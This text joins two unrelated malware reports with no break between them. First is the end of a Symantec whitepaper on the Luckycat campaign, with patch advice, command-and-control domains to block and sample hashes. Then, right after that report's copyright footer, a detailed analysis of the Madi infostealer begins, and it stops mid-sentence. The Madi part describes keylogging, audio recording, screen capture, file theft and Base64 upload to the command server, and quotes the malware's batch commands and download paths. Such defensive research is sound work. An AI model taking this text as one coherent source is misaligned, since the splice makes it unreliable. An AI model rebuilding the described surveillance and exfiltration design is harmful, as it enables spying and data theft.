Luckycat Hackers +Security Response +Appendix +Recommendations +Update antivirus definitions +Ensure that your antivirus software has up-to-date antivirus definitions and ensure that your product has the +auto-protect feature enabled. You can obtain the latest definitions through LiveUpdate or download the latest +definitions from our website. +Apply patches for the following vulnerabilities +Symantec recommends that users apply patches for the following vulnerabilities to help protect against this and +similar attacks: + Adobe Reader +CoolType.dll + TTF Font Remote Code Execution Vulnerability (BID 43057/ CVE-2010-2883) + Adobe Flash Player CVE-2011-0611 + File Remote Memory Corruption Vulnerability (BID 47314/CVE-20110611) + Microsoft Office RTF File Stack Buffer Overflow Vulnerability (BID 44652/ CVE-2010-3333) + Adobe Acrobat and Reader CVE-2010-0188 Remote Code Execution Vulnerability (BID 38195/ CVE-2010-0188) +Prevent back door communications +Block access to the following command-and-control server domains that are associated with this attack. + 2012enviroment.world.mu + charlesbrain.shop.co + clbest.greenglassint.net + dasauto.no-sports.de + footballshopping.shop.co + frankwhales.shop.co + jeepvihecle.shop.co + killmannets.0fees.net + lampaur.b2b.cm + lovesea-blog.co.de + lucysmith.0fees.net + maritimemaster.kilu.org + sawakastocks.tv4.org + shoesshopping.shop.co + shoppingfans.shop.co + skirtdressing.shop.co + toms.0fees.net + tomsburs.shop.co + vpoasport.shopping2000.com + womems.in.nf + www.fireequipment.website.org + www.goodwell.all.co.uk + www.pumasports.website.org +Page 8 +The Luckycat Hackers +Security Response +MD5s of VBS.Sojax samples +0x2924339C60D4905AFDAD6664F859DE2C +0x324B98DE1F86ADE0817DA0FF4C5A38BA +0x40DDB1D8C2F000661AA3031A6FCFA156 +0x4844982A4B4863505FAFAF8B52A4DC97 +0x70EDAAA835D0861BE0F675E7A6EB2CDA +0xA7109C03B002CBCC0ADAB73AEA2C9797 +0xBEE3C1910319BB5A4D39BCFBF2A30220 +0xE04E5EB4AEFEB326246D7F41D1B50759 +0xE542372D7368AF162D0B8540271B43D5 +0xF174E308C86F09336660E2991E47732A +0xFE9DB18A3FDABB6A37E8FE436820BBFB +0xFF03CFB24083B2EC00684E1CB2BCC8F1 +Page 9 +The Luckycat Hackers +Security Response +Infographic +SYMANTEC SECURITY RESPONSE +QUICK FACT SHEET +1. Incursion +Uses targeted email +- Attachments: +.DOC +.RTF +.PDF +Uses vulnerabilities +- CVE-2010-2883 +- CVE-2011-0611 +- CVE-2010-3333 +- CVE-2010-0188 +Targeted Countries: +- India +- Malaysia +Industry sector(s): +- Defense +- Academic +- Research +- Manufacturing +Luckycat +Hackers +Apr 2011 + Feb 2012 +2. Discovery +Initial stolen info: +- Directory listings +- Network info +- System info +- Processes +Stolen info uploaded to +C&C server, then awaits +further instructions +3. Capture +Information sought: +Interesting + docs +- Source code +- Military info +- Technological info +MARCH 2012 +A. Protection + Antivirus +- VBS.Sojax +- VBS.Sojax!gen1 +- Trojan.Pidief +- Bloodhound.Exploit.290 +- Bloodhound.Exploit.357 +- Bloodhound.Exploit.422 + SONAR + Symantec Insight + IPS + .Cloud Services +B. Mitigation +Update software: +- MS Office +- Adobe Acrobat +- Adobe Reader +- Adobe Flash +4. Exfiltration +VBS.Sojax +Trojan dropped by +targeted email +Simple but effective +- HTTP Back door +- 3 Commands +- Run command +- Download +- Upload +C&C server facts: +-Uses +free hosting +services & PHP scripts +- Polled every 30 sec +- Uses HTTP +C&C server countries: +- Germany +- USA +- UK +C. More Info +VBS.Sojax +bit.ly/waZFhf +Whitepaper +Attacker IPs +- China (42) +- South Korea (2) +bit.ly/ypnsNs +Copyright + Symantec Corporation 2012 +Page 10 +The Luckycat Hackers +Security Response +Page 11 +Security Response +Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec +Corporation. +NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the +technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical +errors. Symantec reserves the right to make changes without prior notice. +About Symantec +Symantec is a global leader in +providing security, storage and +systems management solutions to +help businesses and consumers +secure and manage their information. +Headquartered in Mountain View, Calif., +Symantec has operations in more +than 40 countries. More information +is available at www.symantec.com. +For specific country offices and contact numbers, please visit our Web site. For product +information in the U.S., call +toll-free 1 (800) 745 6054. +Symantec Corporation +World Headquarters +350 Ellis Street +Mountain View, CA 94043 USA ++1 (650) 527-8000 +www.symantec.com +Copyright + 2012 Symantec Corporation. All rights reserved. +Symantec and the Symantec logo are trademarks or registered +trademarks of Symantec Corporation or its affiliates in the +U.S. and other countries. Other names may be trademarks of +their respective owners. +The 'Madi' infostealers - a detailed analysis +On 17 July, we published a blog about Madi and the ongoing campaign used to infiltrate computer systems +throughout the Middle East that has targeted users in Iran, Israel, Afghanistan and other individuals +scattered across the globe. Here is the follow up with a detailed analysis of the infostealer used in the +campaign. +Installation +The infostealer is installed by one of the various downloaders used in the attacks, which can be separated +into two categories: +Downloaders using the social engineering techniques described in our first blog post (displaying +pictures, movies, documents etc.) to trick the user +Downloaders that simply download and install the infostealer +Both types of downloaders copy themselves as "UpdateOffice.exe" into the "Printhood" directory, e.g.: +"C:Documents and Settings%USER%PrintHoodUpdateOffice.exe" where they start executing. +Both the infostealer and downloaders create fake files with random names in their respective folders. The +downloaders also drop some files which assist the malware (see our first blog for details). +Only one file will be used by the infostealer: nam.dll. This file is created by the downloader in the +"Templates" directory (e.g.: "C:Documents and Settings%USER%Templatesnam.dll") and contains a BOT +prefix/build that will be used by the infostealer when connecting to the command and control server +(C&C). In order to download and install the infostealer, the downloaders connect to the C&C server to +request an HTM page. +Older variants use http://[C&C address]/ASLK/khaki/Abi/UUUU.htm, whereas more recent ones use +"http://[C&C address]/ASLK/asgari/mah/UeUeUeUe.htm". +The HTM page is a copy of Google index, with a double BASE64 encoded executable embedded in the +page: +The keyword "tamamshodfile" at the bottom will be explained in the 'Infostealer analysis' section below. +The downloaders simply parse the HTM file, and decode the Base64 payload twice and save the resulting +PE file as "iexplore.exe" in the "Templates" directory. Once downloaded, the infostealer is executed. +Infostealer analysis: Iexplore.exe +All the versions of the infostealer have an Internet Explorer icon, and were written in Delphi. +The version used in this article, which appears to have been compiled on 10 June 2012, is packed using +UPX 3.08. +The file is rather big: 415 KB packed, and 1.14 MB once unpacked. +One peculiarity of the infostealer used in the Madi campaign is the heavy use of Delphi Timers. There are +52 of them as you can see on the screenshot below: +Numerous bugs were discovered during the analysis of the infostealer. Some of them won't be discussed +here as we don't want to help the authors improve their malware. +TForm4.FormCreate: +Upon execution, the first activity of interest performed by the infostealer happens inside +TForm4.FormCreate. +It starts with the setup of a keylogger. In order to do so, Madi infostealer uses the Windows function +"SetWindowsHookEx" with the "WH_KEYBOARD_LL" Id_Hook. +Once the keylogger has been installed, the infostealer reads the "nam.dll" file (dropped by the +downloader) to get the BOT prefix and concatenates it with the computer name. Hereafter this will be +referred to as "BOTID_TMP". The final BOTID contains some numbers derived from the "C:" Volume +Serial Number, as we will see later on. +The following timers are then disabled in this specific order: +Timer1, Timer16, Timer18, Timer17, Timer20, Timer19, Timer24, Timer8, Timer30, Timer31, Timer33, +Timer34, Timer36, Timer37, Timer38, Timer39, Timer40, Timer41, Timer44, Timer45, Timer46, +Timer48, Timer49, Timer50. +The malware uses a lot of external files to receive commands, which is another indicator of poor +programming skills. Those files are used to inform the malware about the infection status. In order to +avoid confusion, hereafter, when referring to a file, it is in the malware directory ("Templates" directory), +unless stated otherwise. +The infostealer looks for the following files: +"fsdiskget.dll": If found, it enables Timer 23 + otherwise, disables it. +"nrbindek.dll" : If found, it enables Timer 28 + otherwise, disables it. +"specialfile.dll": If found, it deletes it. +"filesend.xls": Doesn't actually look for it; just tries to delete it. +"begirnagir.htp" : If NOT found, it disables Timer3 +"filebind.xls": If found, it enables Timer29 + otherwise, disables it. +Next, Timer14 and Timer13 are both disabled. +The Trojan looks for "First.dll", which is created the first time the malware is executed. +If already present, the code returns from TForm4.FormCreate. Otherwise, the following happens. +It creates first.dll with a hardcoded stream of bytes (not a real .dll, like the .dll mentioned above, as we will +see later on when we analyze the timers more closely). +Like the downloaders, the infostealer also generates fake files with random names. Before returning from +TForm4.FormCreate, 6 loops will be executed: +XLS: 51 fake XLS files with random names (7 characters) are generated using a hardcoded stream of bytes. +EXE: 51 fake EXE files with random names (6 characters) are generated using a hardcoded stream of +bytes. +DLL: 201 fake DLL files with random names (9 characters) are generated using a hardcoded stream of +bytes. +TXT: 51 fake TXT files with random names (4 characters) are generated using a hardcoded stream of +bytes. +XML: 51 fake XML files with random names (8 characters) are generated using a hardcoded stream of +bytes. +HTM: 51 fake HTM files with random names (8 characters) are generated using a hardcoded stream of +bytes. +Keylogger analysis: +As mentioned before, the keylogger setup is done in the TForm4.FormCreate. It uses +"SetWindowsHookEx" with the "WH_KEYBOARD_LL" Id_hook to intercept keystrokes. +The hook function is rather rudimentary. For instance, it uses the GetAsyncKeyState, with the +"VK_BACK" to find out if the victim used backspace. +For each typed key, there is a handler to save which key was typed in the keylogger buffer +"poki65_pik_log": +It comes as no real surprise that the keylogger is very basic and makes no use of any advanced +technologies. +The malware uses 52 timers. Therefore, we will group them by actions, in order to make the overall +analysis easier to follow. +Command and control: Protocol +We are now going to cover all the timers responsible for contacting the C&C server and receiving +commands to execute on the infected machine, and all the various handlers used to execute actions +according to those orders. +Note: In many routines, Madi creates ".bat" files in order to ping the C&C server to see if it is up or not and +saves the result in a special file. Each file has a different name. If these files are referenced, we will provide +the timer number responsible for its creation. +The server manager looks like this: +The GUI was probably rushed, but it serves its purpose. It can be used to create specific tasks for victims. +See Timer 12 to see how each command is handled by the infostealer. +Timer 1: Check-in +Interval: 25 seconds +Before receiving commands, the infostealer connects to the C&C to a special page. I call it the check-in +routine. Here is the description: +Timer 1 gets the ApplicationName and concatenates it with ".pkklm" (See Timer 15 description for details +on how this file is created). It tries to open that file, looking for the "Reply From" string (when the IP +responds to a ping). If it's not found, it disables Timer 1 and returns. +If present, the last part of the BOTID is generated using the "C:" Volume Serial Number. +Basically, the API function GetVolumeInformationW is called to get the Volume Serial Number, which is +then concatenated to the BOTID_TMP generated in the TForm4.FormCreate. Now that the final BOTID +has been generated, the final URL that is visited is generated as follows: +BOTID|COMPUTERNAME|VolumeSerialNumber/dastor/file.htm e.g.: abaanu5|MYCOMPUTER8712422C|6D8704FE/dastor/file.htm +The final URL is visited using Internet Explorer (IE) instrumentation. (e.g.: +http://C&C/abaanu5MYCOMPUTER-8712422C6C7704EF/dastor/file.htm) +Once visited, it enables Timer 18, disables Timer 1 and returns. +This is the checking-in process, which can tell the attackers when a victim computer is ready to receive +commands. +Once the attackers have decided to send commands to the infected computer, a "das.htm" will be available +in the "/dastor/" folder. +Timer 16: Visit commands page +Interval: 25 seconds +Timer 1 gets the ApplicationName and concatenates it with ".pkxm" (ping results from Timer 11). It tries +to open that file, looking for the "Reply From" string (when the IP responds to a ping). +If it's not found, it disables Timer 16 and returns. +The Final BOTID is computed (see Timer 1 description) to build the URL that is visited in order to receive +commands. Before visiting that URL, the "dast.xls" file is deleted (see Timer 17 below). +The URL is visited using IE instrumentation. Timer 17 is enabled, and Timer 16 disabled. +Timer 17: Save the command page as "dast.xls" +Interval: 20 seconds +Note: During the execution of the Madi infostealer, many instances of IE are running. +Timer 17 will go through all the different instances of instrumented IE, looking for pages with "dastor" in +their title. Once found, the content of the page (without the title) is saved as "dast.xls". +If nothing is found, it will go to next IE instance, and repeat the checks until no instances are left. If +nothing is found, a clean-up routine is launched. +At the end of the Timer 17, it looks for " - dastor - Windows Internet Explorer" and different variants +(Internet Explorer) and sends a "WM_Close" Message using the "PostMessageW" function in order to +close the page. Among all those captions, it also looks for " - 404 - File or directory not found" and variants +of 404 pages, if the page wasn't found. +Once the clean-up is completed, Timer 17 disables itself and returns. At this point, we have a local file with +the commands to execute on the infected machine. +Timer 12: Command dispatcher +This timer is responsible for parsing the command file. In order to make the description a little easier to +follow, here is a sample command file: +When executed, Timer 12 is disabled. +The infostealer Trojan then checks if the file "dast.xls" is present (created by Timer 17, see above). +If it's not present, Timer 12 is re-enabled and returns. +The next stage of the process opens "dast.xls" which searches for commands to execute (see the command +file above). Lots of commands can be sent simultaneously, meaning Timer 12 will not stop parsing when +one command is found. Here is the full logic of the parsing: +PIK: +If the command file contains the word "pik", it checks if the status of Timer 3 is enabled. (Timer 3 is a +webmail, social network and IM screen capture routine.) +If not enabled, Timer 3 is enabled, and screen monitoring begins. Command parsing continues. If the +"pik" command is not found, Timer3 is disabled. +DESK: +If the command file contains the word "desk", it checks if the status of Timer 13 is enabled. (Timer 13 is a +screen capture routine.) +If not enabled, Timer 13 is enabled, and screen monitoring begins. Command parsing continues. If the +"desk" command is not found, Timer13 is disabled. +SOUND: +If the command file contains the word "sound", it checks if the status of Timer 14 is enabled. (Timer 14 is a +sound recording routine.) +If not enabled, Timer 14 is enabled, and sound recording begins. Command parsing continues. If the +"sound" command is not found, Timer14 is disabled. +If the command file contains the word "newfi", nothing happens. This is probably a leftover from older +code. +UPDATE: +If the command file contains the word "update", it checks to see if it also contains a version number, which +must be different from current version ("1.1.6" in the analyzed sample). If neither of those two conditions +are valid, it goes to the next command parsing. The checking routine is very simplistic and assumes that +the version number will be higher, not lower. It is therefore possible to downgrade the Trojan. +If the required update criteria are met, it will create "Update.dll". (Update.dll is made from a hardcoded +stream of bytes and isn't a valid DLL.) +The Trojan now locates the "STARTUP" folder where a copy of the "UpdateOffice.exe" (Trojan +downloader) is found, and executes it using ShellExecute. (In the first part of the article, we explained how +the downloader downloads and installs the infostealer.) +The Trojan downloader is necessary in order for updates to occur. If the downloader has been deleted for +some reason, the update won't be performed. +Once executed, Timer 12 terminates its execution, as the infostealer executable (iexplore.exe) will be +overwritten by the Trojan downloader with a newer version and executed. +DELETE: +If the command file contains the word "delete", it will create "delete.dll", using exactly the same stream of +bytes that is used in "update.dll". +The Trojan now locates the "STARTUP" folder where a copy of the "UpdateOffice.exe" downloader is +located, and deletes it. Once deleted, it then proceeds to terminate itself. +At this point, upon the next reboot, the infection isn't restarted. +Note: The infostealer doesn't restart by itself, allowing an automatic update every time the computer +reboots. +On the other hand all the other downloader files (non-malicious) are still present in the /printhood/ +folder. The full folder of the infostealer is still present, as is the malware. +BIND: If neither "update" nor "delete" are found, Timer 12 checks if the command file contains the word +"bind" and creates "nrbindek.dll" using exactly the same stream of bytes that is used in "update.dll". +Nothing else happens at this point. However, as we have seen in the Form creation, upon execution, the +malware checks whether "nrbindek.dll" is present. +If it is present, Timer 12 will enable Timer 28. +If "bind" isn't found, the parsing continues with the next command. +DISKGO: If the command file contains the word "diskgo", it will create "lbdiskgo.dll", using exactly the +same stream of bytes that is used in "update.dll". Parsing continues with next command. +Note: "lbdiskgo.dll" is checked by Timer 42 and Timer 43. +DISKGET: If the command file contains the word "diskget", it will create "fskdiskget.dll", using exactly the +same stream of bytes that is used in "update.dll" and enable Timer 23. +Timer 12 then checks whether "specialfile.dll" is present. If NOT, it will look for the file extensions +included in the command that was received. The attackers select from a list of 27 extensions that are +provided by the C&C server, and which can be selected using a Remote Control Tool (see at the beginning +of the Timer 12 description to view the extensions listed in the sample command file). Each file extension +is separated by a special marker "$.$". +Timer 12 searches for the "$.$" marker. If it's not present, the parsing stops there. +If the marker is present, it saves those extensions to the "specialfile.dll" and enables Timer 26. +Note: Specialfile.dll is therefore used to tell the malware what file extensions to look for and Timer 26 will +handle diskget. +Afterwards, or if specialfile.dll was already present, it will check whether the "logfi.dll" is present, and stop +parsing commands if it is not. +If the file is present, it looks in the command buffer for the word "file" and exits the commands parsing if +not found. +If logfil.dll is present, it will search files on fixed hard drives and remote drives. The authors' poor +programming skills are quite noticeable in this part of the code. +It is also interesting to note that it will search for "MHTML" files, even if that option isn't available in the +Server Control tool, and that they made a duplicate entry in the hardcode list of files that need to be to +located (htm is present twice). +File types searched: +*.*txt/*.*jpg/*.*doc/*.*pdf/*.*bmp/*.*docx/*.*mdb/*.*xls/*.*csv/*.*html/*.*avi/ +*.*mp3/*.*wave/*.*htm/*.*rar/*.*zip/*.*htm +(again?!)/*.*gif/*.*7z/*.*jar/*.*JPEG/*.*mp4/*.*3gp/ +*.*dat/*.*MPEG/*.*SWF/*.*WMV/*.*xml/*.*MHTML/ +Total of 29 extensions, with one duplicate. 27 extensions are present in the Server Control tool and one +that is not (MHTML). +It saves the log file as "logfi.dll" for each hard drive and creates a backup as "logfi.dll.BMH". It will +overwrite the logs for each iteration of the loop. +It only search files on remote and fixed drives, not on USB/external drives; that's for the logging part. +Once the Parsing is complete, Timer 12 re-enables itself and exits. +Monitoring +Timer 3: PIK handler + Webmail, social network and IM screen capture +Interval: 60 seconds. +Timer 3 creates a "begirnagir.htp" file. +It then checks whether the user has been surfing or using the following applications and takes a screen +capture if found: +gmail, hotmail, yahoo! mail, google+, msn messenger, blogger, massenger (?), profile,icq, paltalk, yahoo! +messenger for the web, skype, facebook. +The screen captures are saved as a JPG using the following name convention: mm-dd-yyyy-hhnnss. The +"Now" and "FormateDateTime" functions are used. +Timer 13: DESK handler + Screen capture +Interval: 3 minutes +Note: The GUI used to control the bot says 2 minutes, but the code doesn't lie. +Timer 13 takes screen captures every 3 minutes. They are saved using the following name convention: +mm-dd-yyyy-hhnnss. The "Now" and "FormateDateTime" functions are used. +The files are in JPG format. +Timer 14: SOUND handler + Recording sound +This timer is responsible for starting the audio recording using the mci* functions from winmm.dll. +The following commands are used: "OPEN NEW TYPE WAVEAUDIO ALIAS mysound", "SET mysound +TIME FORMAT MS BITSPERSAMPLE 8 CHANNELS 1 SAMPLESPERSEC 8000 BYTESPERSEC 8000" +and finally "RECORD mysound". Once the commands are sent, Timer 30 is enabled, and Timer 14 returns. +Timer 30: Started by Timer 14 (sound command handler) +Interval: 60 seconds +This timer does anything apart from start Timer 31 when it is time to save the recoded audio. +Timer 31: Started by Timer 30 (when it is time to save audio recordings) +When sufficient time has passed since the start of audio recording, Timer 31 disables Timer 30, stops the +recording by sending the following command: "STOP mysound". +To save audio files, it sends the "SAVE mysound" command. The files are saved using the following name +convention: mm-dd-yyyy-hhnnss. The "Now" and "FormateDateTime" functions are used. +The final file is saved as .wav.BMH. +Timer 31 is then disabled, and Timer 14 (Sound handler) is re-nabled for the next audio recording. +Timer 32: Set up keylogger +Interval: 60 seconds +Even though the keylogger setup is performed when the application starts, in the FormCreate routine +Timer 32 sets up the keylogger every 60 seconds. The details of the keylogger have already been described +earlier in this document. +Timer 2: Creation of keylogger logs +Interval: 10 seconds +Timer 2 starts by getting the current user name (GetUserName API Function), and then checks if the +"poki65.pik" file is present. This file is the current ongoing keylogging file. If it's not present, it looks for +"solt.html", which indicates whether the keylogger has created its first log yet. +If none of those files are present, it means it is the first time the keylogger has started logging. +The first log file is different from subsequent log files, as it contains more information. The Madi keylogger +files use HTML tags and colors to make them easier to read. +For the first log, it executes "cmd.exe /c ipconfig /allcompartments > ipconfig.txt" +It waits 5 seconds and appends the content of "ipconfig.txt" to the HTML content that is created. +The computer name as well as the current user name is appended to the log, followed by the list of +available drives: Floppy Drive, Fixed Drive, Network Drive, CD-Rom Drive and RAM Disk. +Finally, a full list of installed software, including security patches, is appended to the log file, as can be +seen on the screenshot below: +Once this part is completed, it creates a file called "solt.htm" containing the word "wertik". +It will continue formatting the poki65 log file. At the very beginning you can see the "Content-Language" +set to "fa", which is Persian. +This is how the keylogger logs are generated. +Timer 4: Insert time stamps and tags to display screen captures into keylogger logs. +Interval: 1 millisecond +Timer 4 is responsible for inserting IMG tags inside the keylogger log. It is also responsible for adding the +time stamp taken from the C&C server (see Miscellaneous section, Timer 7 and 8). +Timer 6: Backup keylogger log for exfiltration +Timer 6 searches for the poki65.pik file - the current log session. If not found, it returns. +It then looks for the size of the log file. If it is lower than 15 KB, it will return. Only log files bigger than 15 +KB are exfiltrated. If the size criteria is met, they are copied using the following name convention: mm-ddyyyy-hhnnss.HTM. Timer 6 then deletes "poki65.pik" and returns. +Note: A new log will be created by Timer 2 (solt.html tells the keylogger not to list drives, installed +software etc. again). +DATA STEALING +Data stealing is handled by several timers. Each type of stolen data is stored in a special folder in the +server. Files exfiltrated to the C&C servers are Base64 encoded. +BIND: +Timer 28: Started during Form Creation (related to the BIND command) +Note: When the infostealer starts, Timer 28 is enabled if the file "nrbindek.dll" is present (created by the +BIND command). +Timer 28 searches for "*.*exe" files on all fixed hard drives. For each *EXE* file found that doesn't belong +to the "Windows", "Program Files" or "Program Files (x86)" folders, an entry (full path to *EXE* file) is +added to the file filebind.xls. +Once the hard drives have been scanned, Timer28 returns. +Filebind.xls therefore contains all the executables on the fixed hard drives, except from those in Windows +and Program Files. +Timer 29: Started during Form Creation (related to the BIND command) +Note: The code of this timer is some of the worst that is used in the infostealer. The programming, +obfuscated with Delphi, is very bad. +Timer 28 generates a list of *EXE* files that don't belong to the "Windows", "Program Files" or "Program +Files (x86)" folders. For each entry of that file, Timer 29 will make a backup of the executables. The +*.bind* extension is appended to their original name. +Many files are used to monitor the exfiltration status of the executables. +However, Timer 29 doesn't actually seem to exfiltrate anything, probably because of bugs. +Timer 9: Check for files ready to be uploaded +Interval: 5 seconds +Timer 9 is disabled. If either Timer 19 or Timer 20 is enabled, it means there is already an active +exfiltrating task. Timer 9 is enabled and it returns. +Otherwise, Timer 9 searches for files *.*KILOP as well as *.htm.BMH* files in the malware directory. +KILOP files are Base64 encoded versions of files to exfiltrate. If no file is found, Timer 9 is enabled and +returned. +If files are present, they are ready to be exfiltrated, and Timer 19 is enabled. Before returning, Timer 9 is +enabled. +Timer 19: Check if IE instrumentation has been used to visit the upload page. +Interval: 25 seconds +Timer 19 searches for a specific page title: +If the page title "new title hastam - Microsoft Internet Explorer" is found, Timer 19 returns. +"OKshodiha - Windows Internet Explorer" means a file is ready to be uploaded + Timer 20 is enabled and +returns. +If none of those captions are found, Timer 19 starts IE_Instrumentation and visits the Sendfilejj.html +page, enables Timer 20, then returns. +Timer 20: File upload +Timer 20 searches for *.*KILOP files, computes the BOTID (see Timer 1 for details), and fills the POST +parameters. The "S0", "S1" and "S2" forms present in the Sendfilejj.html are "filled" and the file is +uploaded using IE Instrumentation. +T3, is the BOTID+Folder used for uploading (see below) +T2 is the file name +T1 is the Base64 encoded content of the file. +To compute T3, the following folder is appended to the BOTID (each victim has a root folder named after +the BOTID on the C&C). +"/Pi/" for .jpg.BMH - Screen Captures +"Te/ for .htm.BMH - Keylogger logs +"/So/ for .wav.BMH - Audio Recordings +"/Fi/" for important.file.BMH +/Fi/CoolDisk/" for .fildik.BMH (data stolen from removable drives) +Files are sent via the Sendfilejj.html page hosted on the C&C, which is a wrapper for the "sik.php" script +used to receive exfiltrated data. +Timer 5: Base64 encoder for exfiltrated data +Interval: 1 millisecond +When triggered, it disables Timer 5, searches for *.*BMH files (files that will be exfiltrated once Base64 +encoded) in the malware folder. When one file is found, it checks if the file is indeed on the disk and +accessible. It Base64 encodes it and saves it as nameoffile.BMH.KILOP. The non encoded version (BMH) +is deleted, Timer 5 is re-enabled and it returns. Files are handled one by one, but the timer interval is very +small, therefore it's almost instantaneous. +Note: The resulting encoded files are those handled by Timer 20 described above. The process occurs as +follows: Timer 9 enables Timer 19, which enables Timer 20 to upload files generated by Timer 5. +Timer 21: Filesend.xls parser +Filesend.xls has a list of files to exfiltrate. +Upon execution, Timer 21 is disabled. If "filesend.xls" is present, it is opened and read. +All the files to be exfiltrated are separated by the "*" character as in the example below: +*C:Documents and Settings%USER% +Desktoptoolsstealme.txt**C:Documents and Settings%USER% +Desktoptoolsstealme2.txt* +Timer 21 parses each entry, and will check whether the file exists. If it does, a copy of the file will be made +in the malware directory with a .file.BMH extension. (In my example, we have: "stealme.txt.file.BMH".) +Timer 10: Tracking what was uploaded and cleaning IE instrumentation pages +When a file has been uploaded using Timer 20, a POST is made to the sik.php file, a page is returned +containing the name of the uploaded file, as well as the hardcoded string "Save Shode" as you can see on +the screen capture below: +Timer 10 is responsible for keeping track of some of the uploaded files. Exfiltrated files are added to the +"rafteha.zip", which lists the files that have already been handled. The last file path to be handled is saved +to the "fileomade.xls" file. +Timer 15: Check for "filesend.xls" +Timer 15 is disabled upon execution and "filesend.xls" is sought. If present, Timer 15 is enabled and it +returns. +If not, it checks whether Timer 1 is enabled. If Timer 1 is enabled, it enables Timer 15 and returns. +If Timer 1 isn't enabled, Timer 15 checks the status of Timer 18. If it is enabled, Timer 15 re-enables itself +and returns. +If "filesend.xls" isn't present and both Timer 1 and Timer 18 are disabled, it creates a "pangtkp.bat" file, +which contain "ping C&C_IP >C:DOCUME~1%USER%TEMPLA~1iexplore.exe.pkklm". +That bat is executed, and both Timer 1 and 5 are enabled before returning. +There are other timers that are in some way or other related to exfiltration and data stealing, but they are +all fairly similar. There is a lot of redundancy in the malware. +Timer 23: List all removable drives on the machine +Timer 23 lists all the removable drives on the machine, enables Timer 24, Timer 23 disables itself and +returns. +Timer 24: Search and copy files from removable drives +Timer 24 receives the list of removable drives computed by Timer 23, and searches all the files on the +devices. +Stolen files will be copied to the malware directory with fildik.BMH extensions, which will later be +encoded as fildik.BMH.KILOP (Base64) and exfiltrated. +The list of processed files are stored inside raftehacool.zip. +Miscellaneous +The infostealer contains 52 timers. Some of them do not perform any important tasks. The authors +decided to ping the C&C server and save the results under specific file names. Those files are checked and +parsed in order to find out if the C&C is up and if certain actions can be taken. This is pretty amateurish +programming. +Timer 44: simple ping via pangtipo.bat +Timer 44 is disabled upon execution. Timer 44 checks whether Timer 45 is enabled and returns if it is. +(Timer 44 is enabled prior to returning.) If Timer 45 is disabled, a "pangtipo.bat" file is created, which +contains "ping C&C_IP >C:DOCUME~1%USER%TEMPLA~1iexplore.exe.pkxml". +The bat file is executed, Timer 44 is enabled and Timer 44 returns. +Timer 11: Simple ping from pangtip.bat +Timer 11 is disabled upon execution.If Timer 16 is already enabled, Timer 11 re-enables itself and returns. +If Timer 17 is already enabled, Timer 11 re-enables itself and returns. +If none of the timers are enabled, it creates the "pangtip.bat" file, which contains "ping C&C_IP +>C:DOCUME~1%USER%TEMPLA~1iexplore.exe.pkxm" and executes it via ShellExecute. +Timer 16 is enabled and returns. +Note: Timers 1, 7, 11, 15, 44 and 48 generate these batch files under different names and the results are +saved under different names too. +Timer 7: Was "timeip.php" visited? +Timer 7 is disabled upon execution. Timer 7 checks whether the timeip.php page was visited. If not, it +visits the page using IE instrumentation, Timer 7 disables itself and enables Timer 8 (see description +below). +It creates the "pangip.bat" file, which contain "ping C&C_IP". Results are saved as "iexplore.exe.pkam". +Note: the file name used to save the output of the ping commands is based on the infostealer executable +name, which is "iexplore.exe". If the executable is renamed, the log files will have different names. +Timer 8: Parse the results of the timeip.php visit +The timeip.php script returns the current time and the IP address of the victim. The results of the visit +(done with IE instrumentation in Timer 7) are saved into a buffer which is used during the keylogger log +creation (see Timer 4 description). +Timer 22: Ensure there is a backup copy of UpdateOffice (downloader) +Note: The downloader is the only malware that starts after Windows boots. It's therefore important to +ensure various backup copies are made. +Timer 22 checks if "UpdateOffice.exe" is present in the infostealer directory (templates). It shouldn't be, as +it is only present in the printhood directory. (See Downloader description at the beginning of the article.) +Since it is not present, it calls a subroutine to get the path to the "Printhood" directory +(GetSpecialFolderLocation with CSIDL_PRINTHOOD parameter). While concatenating the +"UpdateOffice.exe" and the "Printhood" folder, the "" character is missing, and therefore, the routine is +bugged. The returned string is: "C:Documents and Settings%USER%PrintHoodUpdateOffice.exe" instead +of "C:Documents and Settings%USER%PrintHoodUpdateOffice.exe". +It then copies (or at least tries to, as the path is wrong) "C:Documents and +Settings%USER%PrintHoodUpdateOffice.exe" as "srAntiq.dll" in the Templates folder. +If "OfficeUpdate.exe" isn't present in the "printhood", a copy is made from "srAntiq.dll". +It retrieves the path to the Startup Folder using the CSIDL_STARTUP: "C:Documents and +Settings%USER%Start MenuProgramsStartup". +Timer 22 checks whether "OfficeUpdate.exe" is present in that folder; if not, it will make a copy of +srAntiq.dll to the Startup folder and returns from Timer 22. +Timer 25: Check for "fsdiskget.dll" +Timer 25 checks if "fsdiskget.dll" is present in the malware directory; if not, it returns. +If the file is present, it enables Timer 23 (see the Data Stealing section for a description). +Timer 42: lbdiskgo.dll, soltanik.dll and res.exe checking +Timer 42 checks whether a flag (set by Timer 34 and cleared by Timer 33) is set to 0 and if lbdiskgo.dll, +soltanik.exe and res.exe are present. If they are, it enables Timer 33; otherwise, it returns. +Timer 43: lbdiskgo.dll / ladine.dll / res.exe checking +Timer 43 returns directly if neither "lbdiskgo.dll" or "ladine.dll" are present. If res.exe is present, it +enables Timer 44 and Timer 48; otherwise, it returns. +Timer 45: Visit the ReReReRe.htm page +Timer 45 deletes pangtipo.bat, reads iexplore.pkxml to make sure the C&C replied. (Timer 1 and Timer 16 +provides some more details on the use of such .bat files.) +Uses FindWindow to check whether IE Instrumentation has been used to visit the special ReReReRe.html +page, which contains the following title: "r!r!r!r!". +It looks for different variants such as "r!r!r!r! - Windows Internet Explorer" or "r!r!r!r! - Microsoft +Internet Explorer". +If one of them is found, it means the page was visited using IE instrumentation. It disables Timer 45 and +returns. +If none of them are found, Timer 45 will visit the URL http://C&CIP/ASLK//asgari/mah/ReReReRe.htm, +enable Timer 46 (see below), disable Timer 45 and return. +Timer 46: Parse "ReReReRe.htm" (downloaded by Timer 45) +Timer 46 goes through all the different running instances of instrumented IE, looking at the title of each +HTM page. The main interest here is "r!r!r!r!". +This page is the ReReReRe.htm file downloaded by Timer 45. Timer 46 looks for a special EOF (End Of +File) marker: "tamamshodfile". This marker is used by the infostealer to make sure the htm page was fully +downloaded. +Once the page has been confirmed as valid, it looks for the textarea id S1 which holds double Base64 +encoded PE Files. +The Base64 encoded data is saved as: ASLASLKK223.dll. +Timer 47: Double decoding of Base64 encoded payload from ReReReRe.htm +Note: Timer 46 saves 